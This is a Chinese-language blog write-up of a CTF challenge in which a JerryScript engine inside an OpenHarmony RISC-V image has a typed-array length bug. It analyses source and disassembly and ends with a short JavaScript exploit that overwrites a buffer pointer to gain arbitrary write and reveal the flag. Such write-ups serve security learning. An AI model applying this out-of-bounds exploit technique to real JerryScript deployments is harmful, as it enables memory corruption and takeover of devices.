[ayoung@blog posts]$ cat ./openharmonyCTF 2025 OHO.md

openharmonyCTF 2025 OHO

[Last modified: 2025-06-09]

riscv架构 启动脚本要加-bios none 给了一个elf,启动后通过内嵌的jerryscript执行js代码,需要利用其中存在的漏洞改写全局变量debug值不为空获得flag

void __noreturn OsIdleTask()
{
  while ( 1 )
  {
    OsRecycleFinishedTask();
    if ( PmEnter )
      PmEnter();
    else
      ArchEnterSleep();
    if ( debug )
    {
      _wrap_printf("Debug mode is enabled, check challenge setting: %s\n", &aSDMemoryCheckE_1[-1148]);
      fflush(*(impure_ptr + 2));
    }
  }
}

找到对应版本,获得源码 https://gitee.com/openharmony/third_party_jerryscript

.text:802FD2C8 aOpenharmony40B:.string 'OpenHarmony 4.0 Beta1',0

发现历史漏洞CVE-2020-22597漏洞代码没有修复

使用jerry官方针对漏洞给出的测试代码测试时,发现不对劲,之后误打误撞发现了创建的typedarray数组长度有问题

// Copyright JS Foundation and other contributors, http://js.foundation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// Make sure that TypedArray filter correctly copies the data (avoid overflow).
// Test creates a smaller region for "output" TypedArray.
// Last number is intentionally a "big" float.
var big_array = new Float64Array([0.523565555, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 333333232134.1]);
big_array.constructor = Float32Array;

var result_float32_array = big_array.filter(x => x % 2 == 0);
assert(result_float32_array instanceof Float32Array);
assert(result_float32_array.length === 5);

// Create an even smaller result TypedArray.
big_array.constructor = Uint8Array;
var result_uint8_array = big_array.filter(x => x % 3 == 0);
assert(result_uint8_array instanceof Uint8Array);
assert(result_uint8_array.length === 3);

// Trigger a filter error when at the last element
try {
  big_array.filter(function(x, idx) {
    if (idx > 10) {
        throw new Error("Error test magic");
    }
    return x % 4 == 0;
  });
} catch (ex) {
  assert(ex instanceof Error);
  assert(ex.message === "Error test magic");
OHOS # eval
Max length: 1024
End with 'EOF'
Content: let array = new Uint32Array(0x1000);
print(array.length.toString(16));
EOF
4000

找到源码中获取typedarray长度函数ecma_typedarray_get_length

/**
 * Get the array length of the typedarray object
 *
 * @return the array length
 */
ecma_length_t
ecma_typedarray_get_length (ecma_object_t *typedarray_p) /**< the pointer to the typedarray object */
{
  JERRY_ASSERT (ecma_object_is_typedarray (typedarray_p));

  ecma_extended_object_t *ext_object_p = (ecma_extended_object_t *) typedarray_p;

  if (ext_object_p->u.pseudo_array.type == ECMA_PSEUDO_ARRAY_TYPEDARRAY)
  {
    ecma_object_t *arraybuffer_p = ecma_get_object_from_value (ext_object_p->u.pseudo_array.u2.arraybuffer);
    ecma_length_t buffer_length = ecma_arraybuffer_get_length (arraybuffer_p);
    uint8_t shift = ecma_typedarray_get_element_size_shift (typedarray_p);

    return buffer_length >> shift;
  }

  ecma_object_t *arraybuffer_p = ecma_typedarray_get_arraybuffer (typedarray_p);
  if (ecma_arraybuffer_is_detached (arraybuffer_p))
  {
    return 0;
  }

  ecma_extended_typedarray_object_t *info_p = (ecma_extended_typedarray_object_t *) ext_object_p;

  return info_p->array_length;
} /* ecma_typedarray_get_length */

对比题目中该函数实现

ecma_length_t __cdecl ecma_typedarray_get_length(ecma_object_t *typedarray_p)
{
  ecma_object_t *arraybuffer_p; // [sp+20h] [-30h]
  ecma_length_t buffer_length; // [sp+24h] [-2Ch]
  ecma_object_t *arraybuffer_p_0; // [sp+2Ch] [-24h]
  ecma_length_t buffer_length_0; // [sp+30h] [-20h]

  if ( LOBYTE(typedarray_p[1].type_flags_refs) == 1 )
  {
    arraybuffer_p_0 = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp);
    buffer_length_0 = ecma_arraybuffer_get_length(arraybuffer_p_0);
    ecma_typedarray_get_element_size_shift(typedarray_p);
    return buffer_length_0;
  }
  else
  {
    arraybuffer_p = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp);
    buffer_length = ecma_arraybuffer_get_length(arraybuffer_p);
    if ( ecma_arraybuffer_is_detached(arraybuffer_p) )
      return 0;
    else
      return buffer_length;
  }
}

发现漏洞点,获取typedarray长度时,原本会根据数据类型右移,获得数组长度。题目中删掉了右移操作,造成存在数组越界

另外还发现题目删去了DataView类型,以前碰到jerry都是arraybuffer+dataview组合拳

聚焦typedarray结构,在ecma-global.h文件中定义了结构体,各种类型的结构以union的形式定义在同一个结构中,typedarray(如Uint32Array)定义部分如下,union部分对应pseudo_array

/**
 * Description of extended ECMA-object.
 *
 * The extended object is an object with extra fields.
 */
typedef struct
{
  ecma_object_t object; /**< object header */

  /**
   * Description of extra fields. These extra fields depend on the object type.
   */
  union
  {
    ecma_built_in_props_t built_in; /**< built-in object part */

    /**
     * Description of pseudo array objects.
     */
    struct
    {
      uint8_t type; /**< pseudo array type, e.g. Arguments, TypedArray, ArrayIterator */
      uint8_t extra_info; /**< extra information about the object.
                           *   e.g. the specific builtin id for typed arrays,
                           *        [[IterationKind]] property for %Iterator% */
      union
      {
        ecma_value_t lex_env_cp; /**< for arguments: lexical environment */
        ecma_value_t arraybuffer; /**< for typedarray: internal arraybuffer */
        ecma_value_t iterated_value; /**< for %Iterator%: [[IteratedObject]] property */
        ecma_value_t spread_value; /**< for spread object: spreaded element */
      } u2;
    } pseudo_array;

    ecma_external_handler_t external_handler_cb; /**< external function */
  } u;
} ecma_extended_object_t;

arraybuffer指针即实际指向数据的指针,考虑通过越界修改该指针实现任意地址写

分析对一个uint32array数组内容进行赋值时的逻辑,走到 ecma_set_typedarray_element (info.buffer_p + byte_pos, num_var, info.id);

uint32_t array_index = ecma_string_get_array_index (property_name_p);

if (array_index != ECMA_STRING_NOT_ARRAY_INDEX)
{
  ecma_number_t num_var;
  ecma_value_t error = ecma_get_number (value, &num_var);

  if (ECMA_IS_VALUE_ERROR (error))
  {
	jcontext_release_exception ();
	return ecma_reject (is_throw);
  }

  ecma_typedarray_info_t info = ecma_typedarray_get_info (object_p);

  if (array_index >= info.length)
  {
	return ecma_reject (is_throw);
  }

  ecma_length_t byte_pos = array_index << info.shift;
  ecma_set_typedarray_element (info.buffer_p + byte_pos, num_var, info.id); /* here */

  return ECMA_VALUE_TRUE;
}

函数根据具体数据类型进不同的赋值函数

/**
 * set typedarray's element value
 */
inline void JERRY_ATTR_ALWAYS_INLINE
ecma_set_typedarray_element (lit_utf8_byte_t *dst_p,
                             ecma_number_t value,
                             ecma_typedarray_type_t typedarray_id)
{
  ecma_typedarray_setters[typedarray_id](dst_p, value);
} /* ecma_set_typedarray_element */
/**
 * List of typedarray setters based on their builtin id
 */
static const ecma_typedarray_setter_fn_t ecma_typedarray_setters[] =
{
  ecma_typedarray_set_int8_element,          /**< Int8Array */
  ecma_typedarray_set_uint8_element,         /**< Uint8Array */
  ecma_typedarray_set_uint8_clamped_element, /**< Uint8ClampedArray */
  ecma_typedarray_set_int16_element,         /**< Int16Array */
  ecma_typedarray_set_uint16_element,        /**< Int32Array */
  ecma_typedarray_set_int32_element,         /**< Uint32Array */
  ecma_typedarray_set_uint32_element,        /**< Uint32Array */
  ecma_typedarray_set_float_element,         /**< Float32Array */
#if ENABLED (JERRY_NUMBER_TYPE_FLOAT64)
  ecma_typedarray_set_double_element,        /**< Float64Array */
#endif /* ENABLED (JERRY_NUMBER_TYPE_FLOAT64) */
};

最终就是执行memcpy完成赋值

/**
 * Write an uint32_t value into the given arraybuffer
 */
static void
ecma_typedarray_set_uint32_element (lit_utf8_byte_t *dst_p, /**< the location in the internal arraybuffer */
                                    ecma_number_t value) /**< the number value to set */
{
  uint32_t num = (uint32_t) ecma_typedarray_setter_number_to_uint32 (value);
  memcpy (dst_p, &num, sizeof (uint32_t));
} /* ecma_typedarray_set_uint32_element */

观察反汇编代码,发现在下面位置获取到了uint32array的各结构信息:

ecma_typedarray_get_info(&property_ref, object_pa);

对应源码如下,ecma_typedarray_get_arraybuffer获取指针 但是直接看源码不是很好定位偏移,并且ecma_get_object_from_value()函数最终将结构体存储的指针进行解压缩等处理 还原为真实指针

/**
 * Method for getting the additional typedArray informations.
 */
ecma_typedarray_info_t
ecma_typedarray_get_info (ecma_object_t *typedarray_p)
{
  ecma_typedarray_info_t info;

  info.id = ecma_get_typedarray_id (typedarray_p);
  info.length = ecma_typedarray_get_length (typedarray_p);
  info.shift = ecma_typedarray_get_element_size_shift (typedarray_p);
  info.element_size = (uint8_t) (1 << info.shift);
  info.offset = ecma_typedarray_get_offset (typedarray_p);
  info.array_buffer_p = ecma_typedarray_get_arraybuffer (typedarray_p);
  info.buffer_p = ecma_arraybuffer_get_buffer (info.array_buffer_p) + info.offset;

  return info;
} /* ecma_typedarray_get_info */

/**
 * Get the arraybuffer of the typedarray object
 *
 * @return the pointer to the internal arraybuffer
 */
inline ecma_object_t * JERRY_ATTR_ALWAYS_INLINE
ecma_typedarray_get_arraybuffer (ecma_object_t *typedarray_p) /**< the pointer to the typedarray object */
{
  JERRY_ASSERT (ecma_object_is_typedarray (typedarray_p));

  ecma_extended_object_t *ext_object_p = (ecma_extended_object_t *) typedarray_p;

  return ecma_get_object_from_value (ext_object_p->u.pseudo_array.u2.arraybuffer);
} /* ecma_typedarray_get_arraybuffer */

里面大概是右移3位由左移3位和&0x8效果类似 但是还有一堆杂七杂的的宏不想写了

直接看反汇编和汇编 这里typedarray_p对应下面地址0x806a3628,即结构体开头

info = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp);
buffer = ecma_arraybuffer_get_buffer(info);

经过编译优化,ecma_get_object_from_value()如下

ecma_object_t *__cdecl ecma_get_object_from_value(ecma_value_t value)
{
  return (value & 0xFFFFFFF8);
}

接着计算出info位置,就是取指针typedarray_p+0xc的值,即0x806a369b

.text:801C3B56                 lw              a5, -8+typedarray_p(s0)
.text:801C3B5A                 sw              a5, -8+var_2C(s0)
.text:801C3B5E                 lw              a5, -8+var_2C(s0)
.text:801C3B62                 sw              a5, -8+var_28(s0)
.text:801C3B66                 lw              a5, -8+var_28(s0)
.text:801C3B6A                 lw              a5, 0Ch(a5)
.text:801C3B6C                 mv              a0, a5
.text:801C3B6E                 jal             ecma_get_object_from_value

ecma_get_object_from_value()如下 这里会走第二个分支

lit_utf8_byte_t *__cdecl ecma_arraybuffer_get_buffer(ecma_object_t *object_p)
{
  if ( (object_p[1].gc_next_cp & 1) != 0 )
    return *&object_p[2].type_flags_refs;
  else
    return &object_p[2];
}

接着看汇编, 前面在开辟栈空间及存放canry, 801B28C2 取出标志位 判断不为1,跳转801B28DA 后续将指针+0x10存入a0寄存器作为返回值返回

.text:801B289E                 addi            sp, sp, -30h
.text:801B28A0                 sw              ra, 28h+var_s4(sp)
.text:801B28A2                 sw              s0, 28h+var_s0(sp)
.text:801B28A4                 addi            s0, sp, 28h+arg_0
.text:801B28A6                 sw              a0, -8+object_p(s0)
.text:801B28AA                 lw              a5, __stack_chk_guard
.text:801B28B2                 sw              a5, -8+var_C(s0)
.text:801B28B6                 lw              a5, -8+object_p(s0)
.text:801B28BA                 sw              a5, -8+ext_object_p(s0)
.text:801B28BE                 lw              a5, -8+ext_object_p(s0)
.text:801B28C2                 lhu             a5, 0Ah(a5)
.text:801B28C6                 andi            a5, a5, 1
.text:801B28C8                 beqz            a5, loc_801B28DA
...
...
loc_801B28DA:                           # CODE XREF: ecma_arraybuffer_get_buffer+2A↑j
.text:801B28DA                 lw              a5, -8+ext_object_p(s0)
.text:801B28DE                 addi            a5, a5, 10h
.text:801B28E0
.text:801B28E0 loc_801B28E0:                           # CODE XREF: ecma_arraybuffer_get_buffer+3A↑j
.text:801B28E0                 mv              a0, a5
.text:801B28E2                 lui             a5, %hi(__stack_chk_guard)
.text:801B28E6                 lw              a4, -8+var_C(s0)
.text:801B28EA                 lw              a5, %lo(__stack_chk_guard)(a5)
.text:801B28EE                 beq             a4, a5, loc_801B28F6
.text:801B28F2                 jal             __stack_chk_fail

所以可以得到结构体地址与真实arraybuffer指针关系为

( 0x806a369b&0xfffffff8)+0x10

断点下到ecma_typedarray_get_info处调试 内存信息如下 和上文分析对应

pwndbg> x/30wx 0x806a3628
0x806a3628:     0x00430063      0x00280000      0x00e70601      0x806a369b
...
pwndbg> x/wx ( 0x806a369b&0xfffffff8)+0x10
0x806a36a8:     0xdeadbeef

exp

构造如下,需要两个uint32array中间加一个pad,避免两个结构体连在一起造成arraybuffer在array2结构体下方导致无法覆盖的情况

let array = new Uint32Array(0x1000);
pad = [1,2,3,4]
let array2 = new Uint32Array(0x10);
array[0] = 0xdeadbeef;
array2[0] = 0x41414141;
array[4135] = 0x8031fc8c;
array2[1] = 1;
OHOS # eval
Max length: 1024
End with 'EOF'
Content: let array = new Uint32Array(0x1000);
pad = [1,2,3,4]
let array2 = new Uint32Array(0x10);
array[0] = 0xdeadbeef;
array2[0] = 0x41414141;
array[4135] = 0x8031fc8c;
array2[1] = 1;
EOF
OHOS # Debug mode is enabled, check challenge setting: flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}